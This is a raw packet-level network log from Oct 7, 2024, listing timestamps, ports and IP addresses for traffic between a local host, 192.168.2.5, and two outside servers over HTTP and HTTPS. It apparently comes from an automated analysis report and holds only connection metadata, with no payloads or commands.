Oct 7, 2024 21:18:42.311491013 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.311506033 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.311521053 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.311537027 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.311537027 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.311537027 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.311537027 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.311537027 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.311537027 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.311553955 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.311568022 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.311606884 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.311618090 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.332014084 CEST	443	49873	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:42.332551956 CEST	49873	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:42.332570076 CEST	443	49873	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:42.332971096 CEST	49873	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:42.332974911 CEST	443	49873	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:42.338361025 CEST	443	49874	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:42.338954926 CEST	49874	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:42.338962078 CEST	443	49874	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:42.339301109 CEST	49874	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:42.339304924 CEST	443	49874	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:42.366182089 CEST	443	49875	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:42.366527081 CEST	443	49875	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:42.366591930 CEST	49875	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:42.366663933 CEST	49875	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:42.366686106 CEST	443	49875	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:42.367078066 CEST	49875	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:42.367086887 CEST	443	49875	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:42.369270086 CEST	443	49876	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:42.369337082 CEST	49877	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:42.369376898 CEST	443	49877	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:42.369647026 CEST	49876	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:42.369677067 CEST	443	49876	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:42.369679928 CEST	49877	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:42.370060921 CEST	49877	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:42.370074987 CEST	443	49877	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:42.370105028 CEST	49876	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:42.370112896 CEST	443	49876	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:42.407783031 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.407802105 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.407818079 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.407833099 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.407856941 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.407860041 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.407877922 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.407886028 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.407901049 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.407905102 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.407917023 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.407927036 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.407934904 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.407937050 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.407958031 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.407958031 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.407974958 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.407978058 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.407990932 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.407994032 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.408008099 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.408031940 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.408031940 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.408041000 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.408071995 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.408078909 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.408085108 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.408165932 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.408165932 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.408204079 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.408220053 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.408236027 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.408243895 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.408252954 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.408260107 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.408271074 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.408278942 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.408287048 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.408294916 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.408310890 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.408312082 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.408329010 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.408332109 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.408344984 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.408345938 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.408361912 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.408361912 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.408379078 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.408385038 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.408391953 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.408396006 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.408417940 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.408427000 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.408587933 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.408606052 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.408620119 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.408638954 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.408644915 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.408669949 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.408693075 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.408741951 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.408765078 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.408780098 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.408782959 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.408797026 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.408802986 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.408813953 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.408818007 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.408829927 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.408832073 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.408843994 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.408847094 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.408864021 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.408869982 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.408879042 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.408888102 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.408894062 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.408896923 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.408914089 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.408915997 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.408929110 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.408930063 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.408946991 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.408950090 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.408960104 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.408962965 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.408981085 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.409001112 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.409919024 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.409940004 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.409955025 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.409970999 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.409981012 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.409985065 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.409995079 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.410001993 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.410026073 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.410039902 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.410054922 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.410069942 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.410084963 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.410092115 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.410100937 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.410104990 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.410116911 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.410120010 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.410134077 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.410141945 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.410150051 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.410156965 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.410165071 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.410166979 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.410183907 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.410187960 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.410197020 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.410223961 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.416754961 CEST	443	49872	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:42.417372942 CEST	443	49872	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:42.417484999 CEST	49872	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:42.417625904 CEST	49872	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:42.417627096 CEST	49872	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:42.417644978 CEST	443	49872	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:42.417655945 CEST	443	49872	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:42.424700022 CEST	49878	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:42.424710035 CEST	443	49878	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:42.424773932 CEST	49878	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:42.425163984 CEST	49878	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:42.425172091 CEST	443	49878	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:42.433779001 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.438551903 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.446058989 CEST	443	49874	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:42.446279049 CEST	443	49874	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:42.446333885 CEST	49874	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:42.446365118 CEST	49874	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:42.446365118 CEST	49874	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:42.446378946 CEST	443	49874	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:42.446389914 CEST	443	49874	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:42.449090958 CEST	49879	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:42.449112892 CEST	443	49879	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:42.449240923 CEST	49879	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:42.449846029 CEST	49879	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:42.449856997 CEST	443	49879	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:42.462768078 CEST	443	49873	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:42.463195086 CEST	443	49873	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:42.463251114 CEST	49873	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:42.463289976 CEST	49873	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:42.463294029 CEST	443	49873	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:42.463304043 CEST	49873	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:42.463306904 CEST	443	49873	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:42.465528011 CEST	49880	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:42.465553045 CEST	443	49880	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:42.465626955 CEST	49880	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:42.465745926 CEST	49880	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:42.465760946 CEST	443	49880	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:42.475733995 CEST	443	49876	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:42.475997925 CEST	443	49876	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:42.476191044 CEST	49876	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:42.476504087 CEST	49876	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:42.476519108 CEST	443	49876	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:42.476527929 CEST	49876	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:42.476533890 CEST	443	49876	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:42.480820894 CEST	49881	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:42.480861902 CEST	443	49881	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:42.480936050 CEST	49881	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:42.481065035 CEST	49881	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:42.481077909 CEST	443	49881	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:42.624010086 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.624038935 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.624053955 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.624099016 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.624129057 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.624141932 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.624159098 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.624202967 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.624283075 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.624300003 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.624315023 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.624330044 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.624341965 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.624346972 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.624353886 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.624365091 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.624388933 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.624412060 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.624586105 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.624600887 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.624618053 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.624634027 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.624635935 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.624649048 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.624650002 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.624666929 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.624682903 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.624703884 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.624834061 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.624876022 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.624964952 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.624980927 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.624995947 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.625010014 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.625020981 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.625025988 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.625041008 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.625046968 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.625056982 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.625063896 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.625072956 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.625088930 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.625102043 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.625117064 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.625310898 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.625327110 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.625349998 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.625365019 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.625366926 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.625380039 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.625389099 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.625396967 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.625412941 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.625430107 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.625443935 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.625641108 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.625657082 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.625670910 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.625694036 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.625700951 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.625710964 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.625725031 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.625725985 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.625742912 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.625751019 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.625760078 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.625775099 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.625778913 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.625791073 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.625802994 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.625808954 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.625823975 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.625828981 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.625844002 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.625869989 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.626416922 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.626431942 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.626446009 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.626461029 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.626466036 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.626477957 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.626477957 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.626493931 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.626504898 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.626509905 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.626524925 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.626533031 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.626542091 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.626555920 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.626557112 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.626573086 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.626580954 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.626589060 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.626604080 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.626612902 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.626620054 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.626627922 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.626637936 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.626658916 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.626682043 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.626980066 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.627115965 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.627132893 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.627146959 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.627161980 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.627170086 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.627177954 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.627194881 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.627194881 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.627211094 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.627213955 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.627227068 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.627235889 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.627243996 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.627249956 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.627274036 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.627279997 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.627608061 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.627623081 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.627638102 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.627651930 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.627657890 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.627667904 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.627681971 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.627688885 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.627707005 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.627712011 CEST	49810	80	192.168.2.5	95.164.90.97
